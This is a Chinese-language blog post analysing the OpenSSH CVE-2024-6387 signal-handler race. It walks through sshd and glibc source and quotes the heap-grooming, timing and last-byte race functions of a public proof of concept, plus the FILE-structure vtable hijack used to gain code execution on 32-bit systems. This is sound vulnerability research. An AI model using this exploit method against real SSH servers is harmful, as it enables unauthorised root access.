CVE-2024-6387 分析

最新推荐文章于 2024-08-14 10:38:26 发布

C0Lin

最新推荐文章于 2024-08-14 10:38:26 发布

阅读量1.7k

点赞数 31

分类专栏： PWN学习笔记文章标签：安全 pwn

本文链接：https://blog.csdn.net/qq_54218833/article/details/140146142

版权

PWN学习笔记专栏收录该内容

50 篇文章 32 订阅

订阅专栏

文章目录

1. 漏洞成因
2. 漏洞利用前置知识
- 2.1 相关 SSH 协议报文格式
- 2.2 Glibc 内存分配相关规则
3. POC
4. 相关挑战

原文链接：个人博客

近几天，OpenSSH爆出了一个非常严重的安全漏洞，该漏洞可导致未授权的root权限任意代码执行，即 Unauthorized root RCE。该漏洞主要影响版本为 [8.5p1, 9.8p1)。下面对该漏洞进行简要分析。

分析使用的OpenSSH版本：9.7p1

参考资料：资料

1. 漏洞成因

这个漏洞可以看做是 CVE-2006-5051 的重演，该漏洞在 8.5p1 版本被引入，产生的原因是在 commit 752250C 中错误地删除了 sigdie() 函数中的一条语句 #ifdef DO_LOG_SAFE_IN_SIGHAND，该函数在SIGALRM信号的 handler 函数中被直接调用。因此实际上该漏洞对于 <4.4p1 版本的 OpenSSH 也有效。

在 SSHd 的 main 函数中，通过 ssh_signal 函数注册了对于 SIGALRM 信号的 handler 函数 grace_alarm_handler。在 SSHd 中，如果客户端在 LoginGraceTime （较新版本默认为120s）时间内没有完成认证，则会产生 SIGALRM 信号，并异步调用 grace_alarm_handler。

// sshd.c, line 2222

ssh_signal(SIGALRM, grace_alarm_handler);

--------------------------------------------------------------------------------

// sshd.c, line 349

/*
 * Signal handler for the alarm after the login grace period has expired.
 */
static void
grace_alarm_handler(int sig)
{
	/*
	 * Try to kill any processes that we have spawned, E.g. authorized
	 * keys command helpers or privsep children.
	 */
	if (getpgid(0) == getpid()) {
		ssh_signal(SIGTERM, SIG_IGN);
		kill(0, SIGTERM);
	}

	/* Log error and exit. */
	sigdie("Timeout before authentication for %s port %d",
	    ssh_remote_ipaddr(the_active_state),
	    ssh_remote_port(the_active_state));
}

这里重点关注 sigdie。

// log.h, line 96

#define sigdie(...)		sshsigdie(__FILE__, __func__, __LINE__, 0, SYSLOG_LEVEL_ERROR, NULL, __VA_ARGS__)

--------------------------------------------------------------------------------

// log.c, line 450

void
sshsigdie(const char *file, const char *func, int line, int showfunc,
    LogLevel level, const char *suffix, const char *fmt, ...)
{
	va_list args;

	va_start(args, fmt);
	sshlogv(file, func, line, showfunc, SYSLOG_LEVEL_FATAL,
	    suffix, fmt, args);
	va_end(args);
	_exit(1);
}

void
sshlogv(const char *file, const char *func, int line, int showfunc,
    LogLevel level, const char *suffix, const char *fmt, va_list args)
{

	...

	do_log(level, forced, suffix, fmt2, args);      // line 493
}

--------------------------------------------------------------------------------

// log.c, line 336

static void
do_log(LogLevel level, int force, const char *suffix, const char *fmt,
    va_list args)
{

    ...

    syslog(pri, "%.500s", fmtbuf);  // line 419

syslog 是libc实现的库函数。如果在其中调用了异步执行不安全的函数（如 malloc ，因为 malloc 进行内存分配时不会加锁），那么就有可能出现内存不安全问题。

事实是，它确实调用了：

// /misc/bits/syslog.h, line 28

__fortify_function void
syslog (int __pri, const char *__fmt, ...)
{
  __syslog_chk (__pri, __USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ());
}

--------------------------------------------------------------------------------

// /misc/syslog.c, line 103

void
__syslog_chk (int pri, int flag, const char *fmt, ...)
{
  va_list ap;

  va_start (ap, fmt);
  __vsyslog_internal (pri, fmt, ap, (flag > 0) ? PRINTF_FORTIFY : 0);
  va_end (ap);
}

--------------------------------------------------------------------------------

// /misc/syslog.c, line 119

void
__vsyslog_internal (int pri, const char *fmt, va_list ap,
		    unsigned int mode_flags)
{

    ...

    struct tm *now_tmp = __localtime64_r (&now, &now_tm);   // line 158

--------------------------------------------------------------------------------

// /time/localtime.c, line 27

struct tm *
__localtime64_r (const __time64_t *t, struct tm *tp)
{
  return __tz_convert (*t, 1, tp);
}

--------------------------------------------------------------------------------

// /time/tzset.c, line 566

struct tm *
__tz_convert (__time64_t timer, int use_localtime, struct tm *tp)
{

    ...

    tzset_internal (tp == &_tmbuf && use_localtime);    // line 577

--------------------------------------------------------------------------------

// /time/tzset.c, line 366

static void
tzset_internal (int always)
{

    ...
    
    __tzfile_read (tz, 0, NULL);    // line 405

--------------------------------------------------------------------------------

// /time/tzset.c, line 100

void
__tzfile_read (const char *file, size_t extra, char **extrap)
{

    ...

    FILE *f;    // line 105

    ...

    f = fopen (file, "rce");    // line 162

    ...

    if (__builtin_expect (__fread_unlocked ((void *) &tzhead, sizeof (tzhead),  // line 182
					  1, f) != 1, 0)

当 __localtime64_r 第一次执行时，将按照上面的流程执行。可以看到，这里的 fopen 即为异步不安全函数调用，它的内部需要调用 malloc 分配一个 FILE 结构。在 __fread_unlocked 中也需要调用 malloc 分配一个 4KB 的读缓冲区。

2. 漏洞利用前置知识

要深入理解该漏洞的整个利用逻辑，首先需要了解一些前置知识。

2.1 相关 SSH 协议报文格式

OpenSSH 实现了对于 SSH 协议的所有解析逻辑，在本漏洞中，需要了解的是 SSH 协议的算法交换部分。

在 SSH 建立连接之前，首先需要完成客户端与服务端的算法协商，这些算法包括密钥交换算法、报文加密算法等。因为客户端与服务端的 SSH 版本可能不同，支持的算法也可能不同，因此需要协商出客户端与服务端都实现的算法。对于算法的协商，SSH 协议通过4个报文完成：

客户端将自身支持的算法发送至服务端。
服务端将自身支持的算法发送至客户端。
客户端向服务器发送自己选择的算法。
服务端向客户端发送响应，表示收到客户端的算法选择。

在前面两个报文中，对于支持算法的发送采用的是 ASCII 明文。具体的 SSH 报文格式如下：

4 bytes – SSH 报文总长度（大端序）
1 byte – padding length，即最后用于填充的字节数量
1 byte – message code，即 SSH 报文消息码，算法选择的消息码为 20/0x14
16 bytes – cookie
变长部分 – 用于列举所有本端可用的算法。每一种算法发送的格式为：
- 4 bytes – algorithm length，即算法描述的长度
- 变长部分 – 算法的具体内容，以 ASCII 码形式发送

可想而知，对于服务端与客户端而言，要想实现对这个报文的解析，必须使用一定的内存空间保存这些算法的相关描述。这一逻辑在 SSHd 中通过 sshkey.c 中的 cert_parse（line 1761）函数实现。在这个函数中循环调用 malloc 函数以保存报文内容。当发送的报文解析失败时，将会调用 sshkey.c 中的 cert_free（line 569）函数循环释放这些内存空间。

2.2 Glibc 内存分配相关规则

该漏洞已经证实能够在基于 Glibc 的 Linux SSH 中完成利用。这与 Glibc 的内存分配策略高度相关。

Glibc 将一块用户可用堆内存（称为 chunk）的大小保存在其前面（低地址）的位置，当用户程序需要释放 chunk 时，Glibc 将根据这块内存的大小将 chunk 链入不同的链表中（这些链表称为 bins）。根据功能不同，Glibc 将这些 bins 分为几类：tcache、fastbin、small bin、large bin、unsorted bin。

Glibc 的内存分配主要通过 _int_malloc 函数实现，释放则主要通过 _int_free 实现。在网址中可以找到所有版本的 Glibc 源码，感兴趣的读者可自行查看。下面介绍与本漏洞相关的一些内存分配特性：

在内存分配过程中，Glibc 首先会从 tcache、fastbin、small bin 中查找，如果没有找到合适的 chunk，则会遍历 unsorted bin 进行查找。unsorted bin 中可保存任意大小的较大的 chunk，遍历过程中，如果发现不等于分配需求的 chunk，会根据其大小将其转移到合适的 small bin/large bin 中。当 unsorted bin 遍历完毕后，如果还是没有找到合适的 chunk，则会尝试在 large bins 中寻找可用的大 chunk 并拆分之。这个拆分操作需要满足多个前提条件，这里不是重点。拆分完成后，剩余的 chunk 将会保存为 last remainder，该 chunk 将被放在 unsorted bin 的开头位置，它将在下一次遍历 unsorted bin 时优先被考虑分配。需要注意的是，remainder chunk 是在其拆分完成后设置其 size 字段的。在 remainder chunk 被切分出来后，但没有设置 size 前，对 size 字段进行修改，即可实际上控制这个 chunk 的大小，可以让这个 chunk 与后面的 chunk 重叠。在 size 字段被正确修改前立即将该 chunk 分配出去，即可完成对堆内存的破坏。

为了保证其他的内存分配操作不会破坏所需的堆内存布局，客户端可以通过多次发送公钥数据包将 tcache 填满，为了提升利用的成功率，在公钥文件不大于256KB的情况下，可以生成27个上图的 large-small holes 结构，其中 chunk 的大小有微小区别。

3. POC

POC 来源：github

下面分析POC中的关键代码逻辑。通过下面的分析可以帮助读者彻底了解该漏洞的利用方式、

在POC中，首先需要进行与SSH服务器的连接与密钥交换。这部分代码不是重点，略过。

3.1 堆内存布局

void
prepare_heap (int sock)
{
  // Packet a: Allocate and free tcache chunks
  for (int i = 0; i < 10; i++)
    {
      unsigned char tcache_chunk[64];
      memset (tcache_chunk, 'A', sizeof (tcache_chunk));
      send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
      // These will be freed by the server, populating tcache
    }

  // Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
  for (int i = 0; i < 27; i++)
    {
      // Allocate large chunk (~8KB)
      unsigned char large_hole[8192];
      memset (large_hole, 'B', sizeof (large_hole));
      send_packet (sock, 5, large_hole, sizeof (large_hole));

      // Allocate small chunk (320B)
      unsigned char small_hole[320];
      memset (small_hole, 'C', sizeof (small_hole));
      send_packet (sock, 5, small_hole, sizeof (small_hole));
    }

  // Packet c: Write fake headers, footers, vtable and _codecvt pointers
  for (int i = 0; i < 27; i++)
    {
      unsigned char fake_data[4096];
      create_fake_file_structure (fake_data, sizeof (fake_data),
                                  GLIBC_BASES[0]);
      send_packet (sock, 5, fake_data, sizeof (fake_data));
    }

  // Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
  unsigned char large_string[MAX_PACKET_SIZE - 1];
  memset (large_string, 'E', sizeof (large_string));
  send_packet (sock, 5, large_string, sizeof (large_string));
}

在这里，send_packet 实现了一个简单的 SSH 协议数据包封装，用于发送 SSH 数据包。

该函数中一共发送了4个数据包，这4个数据包的作用分别为：

填充 tcache。
创建 27 个大小 chunk 对，大 chunk 为 8KB，小 chunk 为 320B。
写入伪造的 FILE 结构体数据。
发送一个超大数据包，使得服务端对该 chunk 进行分配与释放，令 glibc 将 27 个大小 chunk 对中的 27 个大 chunk 和 27 个小 chunk 转移到 large bins 与 small bins 中。

3.2 服务端解析数据时间测量

void
time_final_packet (int sock, double *parsing_time)
{
  double time_before = measure_response_time (sock, 1);
  double time_after = measure_response_time (sock, 2);
  *parsing_time = time_after - time_before;

  printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}

double
measure_response_time (int sock, int error_type)
{
  ...

  struct timespec start, end;
  clock_gettime (CLOCK_MONOTONIC, &start);

  send_packet (sock, 50, error_packet,
               packet_size); // SSH_MSG_USERAUTH_REQUEST

  char response[1024];
  ssize_t received;
  do
    {
      received = recv (sock, response, sizeof (response), 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

  clock_gettime (CLOCK_MONOTONIC, &end);

  double elapsed
      = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
  return elapsed;
}

堆内存布局完成后，POC 中通过 time_final_packet 来测量服务端解析客户端发送的数据的所需时间。这里测量了两次，分别代表不同错误的解析时间。两次测量对应的错误在 SSHd 中的时间差产生于是否调用了 sshkey_from_blob，因此将两个时间段相减即可得到函数 sshkey_from_blob 的执行时间。

3.3 条件竞争

完成上述操作之后，客户端还需要发送最后一个超大的 SSH 报文。该报文是算法协商报文，长度为 SSH 协议允许的最大长度。由于 SSH 报文前面带有长度字段，因此一个 SSH 报文允许被包装在多个 TCP 报文中传输。在下面的代码中，POC 直接发送最后一个报文，但故意少发送 1 个字节，让服务端一直等待最后 1 个字节的到来：

int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{
  unsigned char final_packet[MAX_PACKET_SIZE];
  create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);

  // Send all but the last byte
  if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
    {
      perror ("send final packet");
      return 0;
    }

随后，进行计时，准备好在即将超时的瞬间发送最后 1 个字节：

  // Precise timing for last byte
  struct timespec start, current;
  clock_gettime (CLOCK_MONOTONIC, &start);

  while (1)
    {
      clock_gettime (CLOCK_MONOTONIC, &current);
      double elapsed = (current.tv_sec - start.tv_sec)
                       + (current.tv_nsec - start.tv_nsec) / 1e9;
      if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
        { // 1ms before SIGALRM
          if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)
            {
              perror ("send last byte");
              return 0;
            }
          break;
        }
    }

发送最后一个字节后，服务端发现这是一个算法协商报文，因此会多次调用 cert_parse 函数进行解析。POC 精心构造了这个超长报文，使得 cert_parse 将会循环 54 次解析过程，每次解析过程都会调用一次 malloc 函数。POC 能够让 SSHd 以 0x4096、0x304（FILE 结构体的大小）、0x4096、0x304、… 的顺序调用 malloc 函数分配内存，使得在后面的一段时间内，SSHd 会进行一系列的内存分配，同时由于超时，SSHd 将异步地执行另外的内存分配。在此之前，由于我们分配的 8KB、320 Bytes 内存中的任意内容均可控，因此完全可以提前在 320 byte 的 chunk 中写好伪造的 FILE 结构体与虚假的过大的 remainder size。这样一来，只要 syslog 抢在 remainder size 更新前将虚大的 remainder 分配出去，就能够使 remainder 部分覆盖 syslog 获取的 FILE 结构体。

注意：由于 0x320 chunk 位于 tcache，因此 syslog 获取 FILE 结构体并不会切分 remainder，这个操作是由后面分配 4KB 的读缓冲区触发的。切分 remainder 后，还会剩下一个小 remainder，_int_malloc 一更新这个小 remainder 的相关字段，就完成了对 syslog 的 FILE 结构体的破坏。

3.4 FSOP

该漏洞在32位下可以通过 FSOP 完成利用，这主要是考虑到 32 位系统的 ASLR 保护不完善，Glibc 只能映射到两个基地址：0xb7400000 或 0xb7200000。这正给了攻击者做文章的机会。

在上一节，我们提到通过更新 remainder 的相关字段，能够达到破坏 FILE 结构体的效果。具体而言，它实际上是修改了 FILE 结构体中的 _vtable_offset 字段：

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

如果猜测 Glibc 的映射基地址为 0xb7400000，那么 last remainder 的 fd 指针与 bk 指针指向 unsorted bin 后，其值应该为 0xb761d7f8（随 Glibc 版本不同而不同，但高 2 字节基本都相同），反映到上面的 FILE 结构体中，则是将 _vtable_offset 修改为 bk 指针的第 3 个字节——0x61。

// Glibc 2.36, /malloc/malloc.c, line 4024

  remainder_size = size - nb;
  remainder = chunk_at_offset (victim, nb);
  unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
  av->last_remainder = remainder;
  remainder->bk = remainder->fd = unsorted_chunks (av);

在 Glibc 中，对于文件读写等操作的相关函数是统一保存在一个个 vtable 中的，实际执行时需要首先访问 vtable，再获取其中的函数指针以调用执行。将 _vtable_offset 改为 0x61 后，syslog 的 __fread_unlocked 将会找到 _IO_wfile_jumps 这个 vtable，选择其中的 _IO_wfile_underflow 函数执行（正常情况下应该是执行 _IO_file_jumps 中的 _IO_file_underflow）。在 _IO_wfile_underflow 中，存在下面的调用链：

_IO_wfile_underflow
  __libio_codecvt_in
    DL_CALL_FCT

// Glibc 2.36, /libio/wfileops.c, line 110

wint_t
_IO_wfile_underflow (FILE *fp)
{
  ...

  cd = fp->_codecvt;    // line 130

  ...

  status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
      fp->_IO_read_ptr, fp->_IO_read_end,
      &read_stop,
      fp->_wide_data->_IO_read_ptr,
      fp->_wide_data->_IO_buf_end,
      &fp->_wide_data->_IO_read_end);   // line 141-146
  
  ...
}

--------------------------------------------------------------------------------

// Glibc 2.36, /libio/iofwide.c, line 161

enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
		    const char *from_start, const char *from_end,
		    const char **from_stop,
		    wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
  enum __codecvt_result result;

  struct __gconv_step *gs = codecvt->__cd_in.step;

  ...

  __gconv_fct fct = gs->__fct;    // line 178

  ...

  status = DL_CALL_FCT (fct,
			(gs, &codecvt->__cd_in.step_data, &from_start_copy,
			 (const unsigned char *) from_end, NULL,
			 &dummy, 0, 0));    // line 184-187
  
  ...
}

--------------------------------------------------------------------------------

// Glibc 2.36, /iconv/skeleton.c, line 153

#ifndef DL_CALL_FCT
# define DL_CALL_FCT(fct, args) fct args
#endif

需要注意的是，fopen 并没有对 FILE 结构体的 _codecvt 字段进行初始化，因此依然可以通过提前布置值完成对该字段的控制。

// Glibc 2.36, /libio/libio.h, line 114

struct _IO_codecvt
{
  _IO_iconv_t __cd_in;
  _IO_iconv_t __cd_out;
};

--------------------------------------------------------------------------------

// Glibc 2.36, /libio/libio.h, line 50

typedef struct
{
  struct __gconv_step *step;
  struct __gconv_step_data step_data;
} _IO_iconv_t;

--------------------------------------------------------------------------------

// Glibc 2.36, /iconv/gconv.h, line 83

/* Description of a conversion step.  */
struct __gconv_step
{
  struct __gconv_loaded_object *__shlib_handle;
  const char *__modname;

  /* For internal use by glibc.  (Accesses to this member must occur
     when the internal __gconv_lock mutex is acquired).  */
  int __counter;

  char *__from_name;
  char *__to_name;

  __gconv_fct __fct;
  
  ...
}

从上面的结构定义来看，我们需要的 __fct 函数指针经过多层结构包装。为了让提前写入的指针能够完整地构建调用链，攻击者可以选择将 _codecvt 写成 Glibc 的 bins 的地址，这样实际就是让 Glibc 将我们释放的 chunk 的前面一小部分看做 _IO_iconv_t 结构，接下去如法炮制，在已经释放的 chunk 中完成精心构造，即可让代码最终执行我们伪造的 __fct 函数指针，完成任意代码执行。

4. 相关挑战

该漏洞的利用较为困难，这主要是因为猜测 ASLR 与时间窗口竞争叠加的结果。

地址空间布局随机化（Address Space Layout Randomization）是一种常用的程序运行时保护方式，多次执行时，同一个段会映射到不同的内存地址。但 glibc 在32位下实际上只会映射到 0xb7400000 或 0xb7200000，因此实现 FSOP 还是有可能的。但是时间竞争窗口较小，导致总体成功率依然极低（实验室环境下6~8小时尝试平均10000次才能成功）。在64位强化 ASLR 中，通过猜测 glibc 加载地址进行攻击的利用方式就更加无法实现了。